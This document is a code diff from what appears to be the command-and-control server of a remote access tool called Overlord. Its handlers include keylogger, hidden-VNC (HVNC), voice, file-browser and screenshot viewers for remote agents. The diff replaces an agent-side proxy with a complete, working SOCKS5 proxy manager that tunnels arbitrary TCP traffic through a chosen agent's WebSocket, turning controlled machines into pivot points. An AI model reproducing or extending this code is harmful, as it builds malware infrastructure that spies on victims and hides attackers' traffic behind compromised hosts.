handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
|
||||||
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
@@ -48,7 +48,6 @@ type WsLifecycleDeps = {
|
|||||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
|
||||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||||
@@ -62,7 +61,9 @@ type WsLifecycleDeps = {
|
|||||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||||
handleConsoleOutput: (payload: any) => void;
|
handleConsoleOutput: (payload: any) => void;
|
||||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||||
handleProxyMessage: (clientId: string, payload: any) => void;
|
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
|
||||||
|
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
|
||||||
|
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
|
||||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||||
notifyRdInputLatency: (commandId: string) => void;
|
notifyRdInputLatency: (commandId: string) => void;
|
||||||
@@ -93,7 +94,6 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
|||||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
|
||||||
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
||||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||||
|
|
||||||
@@ -152,7 +152,6 @@ export function handleWebSocketMessage(
|
|||||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
|
||||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||||
if (socketRole === "notifications_viewer") return;
|
if (socketRole === "notifications_viewer") return;
|
||||||
|
|
||||||
@@ -258,7 +257,13 @@ export function handleWebSocketMessage(
|
|||||||
(payload as any).message,
|
(payload as any).message,
|
||||||
);
|
);
|
||||||
deps.handleFileBrowserMessage(info.id, payload);
|
deps.handleFileBrowserMessage(info.id, payload);
|
||||||
deps.handleProxyMessage(info.id, payload);
|
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
|
||||||
|
deps.handleProxyConnectResult(
|
||||||
|
info.id,
|
||||||
|
(payload as any).commandId,
|
||||||
|
Boolean((payload as any).ok),
|
||||||
|
);
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
case "command_progress":
|
case "command_progress":
|
||||||
deps.handleFileBrowserMessage(info.id, payload);
|
deps.handleFileBrowserMessage(info.id, payload);
|
||||||
@@ -304,6 +309,22 @@ export function handleWebSocketMessage(
|
|||||||
case "hvnc_clone_progress":
|
case "hvnc_clone_progress":
|
||||||
deps.handleHVNCCloneProgress(info.id, payload);
|
deps.handleHVNCCloneProgress(info.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "proxy_data": {
|
||||||
|
const connId = (payload as any).connectionId;
|
||||||
|
const tunnelData = (payload as any).data;
|
||||||
|
if (typeof connId === "string" && tunnelData) {
|
||||||
|
const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
|
||||||
|
deps.handleProxyTunnelData(info.id, connId, bytes);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "proxy_close": {
|
||||||
|
const connId = (payload as any).connectionId;
|
||||||
|
if (typeof connId === "string") {
|
||||||
|
deps.handleProxyTunnelClose(info.id, connId);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -414,13 +435,6 @@ export function handleWebSocketClose(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (role === "proxy_viewer") {
|
|
||||||
if (sessionId) {
|
|
||||||
sessionManager.deleteProxySession(sessionId);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (role === "voice_viewer") {
|
if (role === "voice_viewer") {
|
||||||
deps.cleanupVoiceViewer(ws);
|
deps.cleanupVoiceViewer(ws);
|
||||||
return;
|
return;
|
||||||
@@ -434,6 +448,7 @@ export function handleWebSocketClose(
|
|||||||
}
|
}
|
||||||
|
|
||||||
clientManager.deleteClient(clientId);
|
clientManager.deleteClient(clientId);
|
||||||
|
stopAllProxiesForClient(clientId);
|
||||||
clearClientSyncState(clientId);
|
clearClientSyncState(clientId);
|
||||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||||
setOnlineState(clientId, false);
|
setOnlineState(clientId, false);
|
||||||
|
|||||||
@@ -163,24 +163,6 @@ export async function handleWsUpgradeRoutes(
|
|||||||
return new Response("Upgrade failed", { status: 500 });
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
|
|
||||||
if (proxyMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = proxyMatch[1];
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
||||||
if (voiceMatch) {
|
if (voiceMatch) {
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
|
|||||||
@@ -0,0 +1,453 @@
|
|||||||
|
/**
|
||||||
|
* Server-side SOCKS5 proxy manager.
|
||||||
|
*
|
||||||
|
* Opens TCP listeners on the Overlord server. Each listener is bound to a
|
||||||
|
* specific agent (clientId). When an external SOCKS5 client connects, the
|
||||||
|
* server performs the SOCKS5 handshake locally and then tunnels the
|
||||||
|
* connection through the agent's existing WebSocket channel.
|
||||||
|
*
|
||||||
|
* Protocol (new message types piggybacking on the existing wire format):
|
||||||
|
* Server → Agent command { commandType: "proxy_connect", id: connId, payload: { host, port } }
|
||||||
|
* Server → Agent command { commandType: "proxy_data", id: connId, payload: { data: Uint8Array } }
|
||||||
|
* Server → Agent command { commandType: "proxy_close", id: connId }
|
||||||
|
* Agent → Server { type: "proxy_data", connectionId, data: Uint8Array }
|
||||||
|
* Agent → Server { type: "proxy_close", connectionId }
|
||||||
|
* Agent → Server { type: "command_result", commandId: connId, ok, message } (for proxy_connect result)
|
||||||
|
*/
|
||||||
|
|
||||||
|
import type { Socket, TCPSocketListener } from "bun";
|
||||||
|
import { v4 as uuidv4 } from "uuid";
|
||||||
|
import { encodeMessage } from "../protocol";
|
||||||
|
import * as clientManager from "../clientManager";
|
||||||
|
import { logger } from "../logger";
|
||||||
|
|
||||||
|
// ── Types ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export type ProxyEntry = {
|
||||||
|
clientId: string;
|
||||||
|
port: number;
|
||||||
|
listener: TCPSocketListener<ProxySocketData>;
|
||||||
|
/** active tunnel connections keyed by connectionId */
|
||||||
|
connections: Map<string, TunnelConnection>;
|
||||||
|
createdAt: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
type TunnelConnection = {
|
||||||
|
socket: Socket<ProxySocketData>;
|
||||||
|
/** whether the agent has confirmed the target connection */
|
||||||
|
connected: boolean;
|
||||||
|
/** buffer data received from SOCKS client before agent confirms */
|
||||||
|
pendingData: Buffer[];
|
||||||
|
};
|
||||||
|
|
||||||
|
type ProxySocketData = {
|
||||||
|
connectionId: string;
|
||||||
|
proxyPort: number;
|
||||||
|
/** SOCKS5 handshake phase */
|
||||||
|
phase: "greeting" | "request" | "tunneling";
|
||||||
|
buffer: Buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── State ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/** port → ProxyEntry */
|
||||||
|
const activeProxies = new Map<number, ProxyEntry>();
|
||||||
|
|
||||||
|
// ── Public API ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export function getActiveProxies(): Array<{
|
||||||
|
clientId: string;
|
||||||
|
port: number;
|
||||||
|
connections: number;
|
||||||
|
createdAt: number;
|
||||||
|
}> {
|
||||||
|
const out: Array<{
|
||||||
|
clientId: string;
|
||||||
|
port: number;
|
||||||
|
connections: number;
|
||||||
|
createdAt: number;
|
||||||
|
}> = [];
|
||||||
|
for (const [port, entry] of activeProxies) {
|
||||||
|
out.push({
|
||||||
|
clientId: entry.clientId,
|
||||||
|
port,
|
||||||
|
connections: entry.connections.size,
|
||||||
|
createdAt: entry.createdAt,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function startProxy(
|
||||||
|
clientId: string,
|
||||||
|
port: number,
|
||||||
|
): { ok: boolean; message: string } {
|
||||||
|
if (activeProxies.has(port)) {
|
||||||
|
return { ok: false, message: `Port ${port} is already in use by another proxy` };
|
||||||
|
}
|
||||||
|
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
if (!target) {
|
||||||
|
return { ok: false, message: `Client ${clientId} is not connected` };
|
||||||
|
}
|
||||||
|
|
||||||
|
const connections = new Map<string, TunnelConnection>();
|
||||||
|
|
||||||
|
try {
|
||||||
|
const listener = Bun.listen<ProxySocketData>({
|
||||||
|
hostname: "0.0.0.0",
|
||||||
|
port,
|
||||||
|
socket: {
|
||||||
|
open(socket) {
|
||||||
|
const connectionId = uuidv4();
|
||||||
|
socket.data = {
|
||||||
|
connectionId,
|
||||||
|
proxyPort: port,
|
||||||
|
phase: "greeting",
|
||||||
|
buffer: Buffer.alloc(0),
|
||||||
|
};
|
||||||
|
connections.set(connectionId, {
|
||||||
|
socket,
|
||||||
|
connected: false,
|
||||||
|
pendingData: [],
|
||||||
|
});
|
||||||
|
logger.debug(
|
||||||
|
`[socks5] new connection ${connectionId} on port ${port}`,
|
||||||
|
);
|
||||||
|
},
|
||||||
|
|
||||||
|
data(socket, data) {
|
||||||
|
const entry = activeProxies.get(socket.data.proxyPort);
|
||||||
|
if (!entry) {
|
||||||
|
socket.end();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
handleSocksData(socket, Buffer.from(data), entry);
|
||||||
|
},
|
||||||
|
|
||||||
|
close(socket) {
|
||||||
|
const entry = activeProxies.get(socket.data.proxyPort);
|
||||||
|
if (!entry) return;
|
||||||
|
const connId = socket.data.connectionId;
|
||||||
|
const tunnel = entry.connections.get(connId);
|
||||||
|
if (tunnel) {
|
||||||
|
entry.connections.delete(connId);
|
||||||
|
// tell agent to close its side
|
||||||
|
const agent = clientManager.getClient(entry.clientId);
|
||||||
|
if (agent) {
|
||||||
|
try {
|
||||||
|
agent.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "proxy_close",
|
||||||
|
id: connId,
|
||||||
|
} as any),
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
logger.debug(`[socks5] connection ${connId} closed`);
|
||||||
|
},
|
||||||
|
|
||||||
|
error(socket, err) {
|
||||||
|
logger.error(
|
||||||
|
`[socks5] socket error conn=${socket.data?.connectionId}`,
|
||||||
|
err,
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const entry: ProxyEntry = {
|
||||||
|
clientId,
|
||||||
|
port,
|
||||||
|
listener,
|
||||||
|
connections,
|
||||||
|
createdAt: Date.now(),
|
||||||
|
};
|
||||||
|
activeProxies.set(port, entry);
|
||||||
|
logger.info(
|
||||||
|
`[socks5] proxy started on port ${port} for client ${clientId}`,
|
||||||
|
);
|
||||||
|
return { ok: true, message: `Proxy started on port ${port}` };
|
||||||
|
} catch (err: any) {
|
||||||
|
return {
|
||||||
|
ok: false,
|
||||||
|
message: `Failed to listen on port ${port}: ${err.message || err}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function stopProxy(port: number): { ok: boolean; message: string } {
|
||||||
|
const entry = activeProxies.get(port);
|
||||||
|
if (!entry) {
|
||||||
|
return { ok: false, message: `No proxy running on port ${port}` };
|
||||||
|
}
|
||||||
|
|
||||||
|
// close all tunnel connections
|
||||||
|
for (const [connId, tunnel] of entry.connections) {
|
||||||
|
try {
|
||||||
|
tunnel.socket.end();
|
||||||
|
} catch {}
|
||||||
|
// notify agent
|
||||||
|
const agent = clientManager.getClient(entry.clientId);
|
||||||
|
if (agent) {
|
||||||
|
try {
|
||||||
|
agent.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "proxy_close",
|
||||||
|
id: connId,
|
||||||
|
} as any),
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
entry.listener.stop(true);
|
||||||
|
activeProxies.delete(port);
|
||||||
|
logger.info(`[socks5] proxy stopped on port ${port}`);
|
||||||
|
return { ok: true, message: `Proxy on port ${port} stopped` };
|
||||||
|
}
|
||||||
|
|
||||||
|
export function stopAllProxiesForClient(clientId: string): void {
|
||||||
|
for (const [port, entry] of activeProxies) {
|
||||||
|
if (entry.clientId === clientId) {
|
||||||
|
stopProxy(port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
export function handleProxyTunnelData(
|
||||||
|
clientId: string,
|
||||||
|
connectionId: string,
|
||||||
|
data: Uint8Array,
|
||||||
|
): void {
|
||||||
|
for (const entry of activeProxies.values()) {
|
||||||
|
if (entry.clientId !== clientId) continue;
|
||||||
|
const tunnel = entry.connections.get(connectionId);
|
||||||
|
if (tunnel) {
|
||||||
|
try {
|
||||||
|
tunnel.socket.write(data);
|
||||||
|
} catch {
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Called when the agent closes its side of a tunnel */
|
||||||
|
export function handleProxyTunnelClose(
|
||||||
|
clientId: string,
|
||||||
|
connectionId: string,
|
||||||
|
): void {
|
||||||
|
for (const entry of activeProxies.values()) {
|
||||||
|
if (entry.clientId !== clientId) continue;
|
||||||
|
const tunnel = entry.connections.get(connectionId);
|
||||||
|
if (tunnel) {
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
try {
|
||||||
|
tunnel.socket.end();
|
||||||
|
} catch {}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function handleProxyConnectResult(
|
||||||
|
clientId: string,
|
||||||
|
connectionId: string,
|
||||||
|
ok: boolean,
|
||||||
|
): void {
|
||||||
|
for (const entry of activeProxies.values()) {
|
||||||
|
if (entry.clientId !== clientId) continue;
|
||||||
|
const tunnel = entry.connections.get(connectionId);
|
||||||
|
if (!tunnel) return;
|
||||||
|
|
||||||
|
if (ok) {
|
||||||
|
tunnel.connected = true;
|
||||||
|
// send SOCKS5 success response
|
||||||
|
// VER | REP | RSV | ATYP | BND.ADDR (4 bytes) | BND.PORT (2 bytes)
|
||||||
|
tunnel.socket.write(
|
||||||
|
Buffer.from([0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||||
|
);
|
||||||
|
logger.debug(`[socks5] tunnel established (conn=${connectionId})`);
|
||||||
|
// flush any data that arrived between handshake and connect
|
||||||
|
for (const buf of tunnel.pendingData) {
|
||||||
|
sendDataToAgent(entry.clientId, connectionId, buf);
|
||||||
|
}
|
||||||
|
tunnel.pendingData = [];
|
||||||
|
} else {
|
||||||
|
logger.debug(`[socks5] tunnel rejected by agent (conn=${connectionId})`);
|
||||||
|
// SOCKS5 connection-refused reply
|
||||||
|
tunnel.socket.write(
|
||||||
|
Buffer.from([0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||||
|
);
|
||||||
|
tunnel.socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleSocksData(
|
||||||
|
socket: Socket<ProxySocketData>,
|
||||||
|
incoming: Buffer,
|
||||||
|
entry: ProxyEntry,
|
||||||
|
) {
|
||||||
|
const { connectionId, phase } = socket.data;
|
||||||
|
|
||||||
|
if (phase === "tunneling") {
|
||||||
|
const tunnel = entry.connections.get(connectionId);
|
||||||
|
if (!tunnel) {
|
||||||
|
socket.end();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!tunnel.connected) {
|
||||||
|
tunnel.pendingData.push(incoming);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
sendDataToAgent(entry.clientId, connectionId, incoming);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
socket.data.buffer = Buffer.concat([socket.data.buffer, incoming]);
|
||||||
|
const buf = socket.data.buffer;
|
||||||
|
|
||||||
|
if (phase === "greeting") {
|
||||||
|
if (buf.length < 2) return;
|
||||||
|
const ver = buf[0];
|
||||||
|
const nmethods = buf[1];
|
||||||
|
if (ver !== 5) {
|
||||||
|
socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (buf.length < 2 + nmethods) return;
|
||||||
|
|
||||||
|
socket.write(Buffer.from([0x05, 0x00]));
|
||||||
|
socket.data.phase = "request";
|
||||||
|
socket.data.buffer = buf.subarray(2 + nmethods);
|
||||||
|
|
||||||
|
if (socket.data.buffer.length > 0) {
|
||||||
|
handleSocksData(socket, Buffer.alloc(0), entry);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (phase === "request") {
|
||||||
|
if (buf.length < 4) return;
|
||||||
|
const ver = buf[0];
|
||||||
|
const cmd = buf[1];
|
||||||
|
const atyp = buf[3];
|
||||||
|
|
||||||
|
if (ver !== 5) {
|
||||||
|
socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (cmd !== 1) {
|
||||||
|
socket.write(
|
||||||
|
Buffer.from([0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||||
|
);
|
||||||
|
socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let host: string;
|
||||||
|
let portOffset: number;
|
||||||
|
|
||||||
|
switch (atyp) {
|
||||||
|
case 1: {
|
||||||
|
if (buf.length < 10) return;
|
||||||
|
host = `${buf[4]}.${buf[5]}.${buf[6]}.${buf[7]}`;
|
||||||
|
portOffset = 8;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 3: {
|
||||||
|
if (buf.length < 5) return;
|
||||||
|
const domainLen = buf[4];
|
||||||
|
if (buf.length < 5 + domainLen + 2) return;
|
||||||
|
host = buf.subarray(5, 5 + domainLen).toString("utf8");
|
||||||
|
portOffset = 5 + domainLen;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 4: {
|
||||||
|
if (buf.length < 22) return;
|
||||||
|
const parts: string[] = [];
|
||||||
|
for (let i = 0; i < 16; i += 2) {
|
||||||
|
parts.push(buf.readUInt16BE(4 + i).toString(16));
|
||||||
|
}
|
||||||
|
host = parts.join(":");
|
||||||
|
portOffset = 20;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default: {
|
||||||
|
socket.write(
|
||||||
|
Buffer.from([0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||||
|
);
|
||||||
|
socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const port = buf.readUInt16BE(portOffset);
|
||||||
|
logger.debug(
|
||||||
|
`[socks5] CONNECT request → ${host}:${port} (conn=${connectionId})`,
|
||||||
|
);
|
||||||
|
|
||||||
|
socket.data.phase = "tunneling";
|
||||||
|
socket.data.buffer = Buffer.alloc(0);
|
||||||
|
|
||||||
|
const agent = clientManager.getClient(entry.clientId);
|
||||||
|
if (!agent) {
|
||||||
|
socket.write(
|
||||||
|
Buffer.from([0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||||
|
);
|
||||||
|
socket.end();
|
||||||
|
entry.connections.delete(connectionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
agent.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "proxy_connect",
|
||||||
|
id: connectionId,
|
||||||
|
payload: { host, port },
|
||||||
|
} as any),
|
||||||
|
);
|
||||||
|
|
||||||
|
const remaining = buf.subarray(portOffset + 2);
|
||||||
|
if (remaining.length > 0) {
|
||||||
|
const tunnel = entry.connections.get(connectionId);
|
||||||
|
if (tunnel) tunnel.pendingData.push(remaining);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function sendDataToAgent(
|
||||||
|
clientId: string,
|
||||||
|
connectionId: string,
|
||||||
|
data: Buffer | Uint8Array,
|
||||||
|
): void {
|
||||||
|
const agent = clientManager.getClient(clientId);
|
||||||
|
if (!agent) return;
|
||||||
|
try {
|
||||||
|
agent.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "proxy_data",
|
||||||
|
id: connectionId,
|
||||||
|
payload: { data: new Uint8Array(data) },
|
||||||
|
} as any),
|
||||||
|
);
|
||||||
|
} catch (err) {
|
||||||
|
logger.error(`[socks5] failed to send data to agent ${clientId}`, err);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -311,54 +311,6 @@ export function handleProcessMessage(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export function handleProxyViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|
||||||
const { clientId } = ws.data;
|
|
||||||
const sessionId = uuidv4();
|
|
||||||
const target = clientManager.getClient(clientId);
|
|
||||||
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
|
||||||
sessionManager.addProxySession(session);
|
|
||||||
ws.data.sessionId = sessionId;
|
|
||||||
logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`);
|
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
|
||||||
if (!target) {
|
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export function handleProxyViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
|
||||||
const payload = decodeViewerPayload(raw);
|
|
||||||
if (!payload || typeof payload.type !== "string") return;
|
|
||||||
const { clientId } = ws.data;
|
|
||||||
const target = clientManager.getClient(clientId);
|
|
||||||
if (!target) {
|
|
||||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const commandId = uuidv4();
|
|
||||||
switch (payload.type) {
|
|
||||||
case "proxy_start": {
|
|
||||||
const port = typeof payload.port === "number" ? payload.port : 1080;
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any));
|
|
||||||
metrics.recordCommand("proxy_start");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case "proxy_stop":
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any));
|
|
||||||
metrics.recordCommand("proxy_stop");
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export function handleProxyMessage(clientId: string, payload: any) {
|
|
||||||
for (const session of sessionManager.getAllProxySessions().values()) {
|
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewer(session.viewer, payload);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
const { clientId } = ws.data;
|
const { clientId } = ws.data;
|
||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
|
|||||||
@@ -21,7 +21,6 @@ const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
|||||||
const processSessions = new Map<string, ProcessViewer>();
|
const processSessions = new Map<string, ProcessViewer>();
|
||||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||||
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||||
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
|
|
||||||
const voiceSessions = new Map<string, VoiceViewer>();
|
const voiceSessions = new Map<string, VoiceViewer>();
|
||||||
|
|
||||||
function addSessionToClientIndex(
|
function addSessionToClientIndex(
|
||||||
@@ -353,32 +352,6 @@ export function getAllKeyloggerSessions(): Map<string, KeyloggerViewer> {
|
|||||||
return keyloggerSessions;
|
return keyloggerSessions;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function addProxySession(session: KeyloggerViewer): void {
|
|
||||||
proxySessions.set(session.id, session);
|
|
